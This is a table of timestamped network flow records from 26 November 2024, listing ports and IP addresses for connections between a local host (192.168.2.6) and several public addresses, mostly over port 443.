Nov 26, 2024 01:41:22.409218073 CET	443	49737	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:22.409533978 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:22.451329947 CET	443	49737	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:22.545763969 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.560022116 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.560107946 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.560163021 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.560412884 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.560426950 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.560436964 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.560441971 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.563503027 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.563529968 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.563589096 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.563755989 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.563772917 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.576689005 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.580589056 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.580605030 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.581603050 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.581671953 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.582025051 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.582089901 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.582171917 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.627336979 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.629653931 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.629722118 CET	443	49746	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.629836082 CET	49746	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.646888018 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.646898031 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:22.676894903 CET	443	49749	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.677459955 CET	49749	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.677476883 CET	443	49749	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.678052902 CET	49749	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.678057909 CET	443	49749	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.688429117 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:22.688481092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:22.749226093 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:22.830549955 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.830612898 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.830790043 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.830960035 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.830986977 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.831007957 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.831017017 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.834872961 CET	49755	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.834888935 CET	443	49755	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.834949970 CET	49755	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.835102081 CET	49755	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.835114956 CET	443	49755	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.858289003 CET	443	49748	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.858794928 CET	49748	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.858813047 CET	443	49748	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:22.859265089 CET	49748	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:22.859280109 CET	443	49748	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.081682920 CET	443	49737	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:23.082340956 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:23.082360983 CET	443	49737	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:23.082380056 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:23.082458973 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:23.112353086 CET	443	49749	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.112407923 CET	443	49749	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.112509966 CET	49749	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.112886906 CET	49749	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.112886906 CET	49749	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.112904072 CET	443	49749	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.112912893 CET	443	49749	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.125950098 CET	49756	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.126032114 CET	443	49756	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.126101971 CET	49756	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.126269102 CET	49756	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.126286030 CET	443	49756	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.132534027 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.132976055 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.133078098 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.134442091 CET	49742	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.134450912 CET	443	49742	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.219610929 CET	443	49750	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.223932028 CET	49750	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.223952055 CET	443	49750	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.224514008 CET	49750	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.224520922 CET	443	49750	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.278074026 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.278136969 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.278177977 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.278177023 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.278192997 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.278238058 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.278248072 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.291372061 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.291436911 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.291445017 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.297357082 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.297425032 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.297432899 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.310754061 CET	443	49748	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.310806990 CET	443	49748	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.311058998 CET	49748	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.311197996 CET	49748	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.311197996 CET	49748	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.311219931 CET	443	49748	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.311230898 CET	443	49748	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.315433025 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.315530062 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.315538883 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.316184044 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.316200018 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.316351891 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.316849947 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.316862106 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.397767067 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.397819996 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.397829056 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.443516016 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.446997881 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.447053909 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.448518991 CET	49747	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.448525906 CET	443	49747	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.479901075 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.479983091 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.479991913 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.483195066 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.483239889 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.483247995 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.496320009 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.496380091 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.496387005 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.505372047 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.505433083 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.505440950 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.517723083 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.517777920 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.517800093 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.530733109 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.530949116 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.530958891 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.544441938 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.544498920 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.544508934 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.557308912 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.557353020 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.557362080 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.570151091 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.570194960 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.570203066 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.583069086 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.583128929 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.583138943 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.595813036 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.595854044 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.595860958 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.605580091 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.605637074 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.605644941 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.664803028 CET	443	49750	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.664941072 CET	443	49750	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.664995909 CET	49750	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.680104017 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.680187941 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.680198908 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.683245897 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.683306932 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.683319092 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.689151049 CET	49750	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.689151049 CET	49750	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.689179897 CET	443	49750	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.689191103 CET	443	49750	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.692503929 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.692553997 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.692560911 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.695242882 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.695290089 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.695353985 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.695616961 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:23.695632935 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:23.697154999 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.697196960 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.697204113 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.701746941 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.701791048 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.701797962 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.704418898 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.704586029 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.704593897 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.710593939 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.710838079 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.710850000 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.722198009 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.722255945 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.722266912 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.733910084 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.733978033 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.733988047 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.745337963 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.745393991 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.745403051 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.756946087 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.757006884 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.757014990 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.767678976 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.770437956 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.770446062 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.778439045 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.782458067 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.782465935 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.788424015 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.790724039 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.790733099 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.800148964 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.802414894 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.802424908 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.808011055 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.810424089 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.810432911 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.813127995 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:23.814476013 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:23.817229033 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.817276955 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.817286968 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.825807095 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.826402903 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.826414108 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.834224939 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.834669113 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.834678888 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.842499971 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.842926979 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.842936039 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.851058006 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.851105928 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.851114035 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.859297991 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.859355927 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.859363079 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.864496946 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.865923882 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.866003036 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.866010904 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.866050005 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.881247997 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.883208990 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.883233070 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.883308887 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.883322001 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.883361101 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.886280060 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.889883041 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.890384912 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.890393019 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.893271923 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.894474983 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.894483089 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.896708012 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.898535013 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.898541927 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.900145054 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.900194883 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.900202036 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.905153990 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.905200958 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.905257940 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.905266047 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.905308962 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.906203985 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.906292915 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:23.906413078 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.926212072 CET	49745	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:23.926229000 CET	443	49745	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:24.138782978 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.138808966 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.231232882 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.231245995 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.344336987 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.344775915 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.344808102 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.345349073 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.345357895 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.453289986 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:24.453311920 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:24.453422070 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:24.456449032 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:24.456461906 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:24.603466034 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.603502989 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.603575945 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.603575945 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.603598118 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.603648901 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.603688955 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.603689909 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.618520975 CET	443	49755	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.619344950 CET	49755	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.619362116 CET	443	49755	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.619952917 CET	49755	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.619961023 CET	443	49755	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.639240026 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:24.639261007 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:24.639348984 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:24.640420914 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:24.640434980 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:24.673407078 CET	49766	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:24.673449993 CET	443	49766	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:24.673557043 CET	49766	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:24.673765898 CET	49766	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:24.673783064 CET	443	49766	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:24.789721966 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.789809942 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.789891005 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.790146112 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.790165901 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.790179968 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.790188074 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.793688059 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.793713093 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.793804884 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.793943882 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.793965101 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.793979883 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.793992996 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.794039011 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.794075012 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.794095039 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.794132948 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.837666035 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.837686062 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.837799072 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.837812901 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.837872028 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.842545033 CET	443	49756	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.843173981 CET	49756	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.843239069 CET	443	49756	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.843640089 CET	49756	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:24.843653917 CET	443	49756	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:24.971914053 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.971936941 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.972054005 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.972069979 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.972125053 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:24.999944925 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:24.999965906 CET	443	49753	150.171.27.10	192.168.2.6
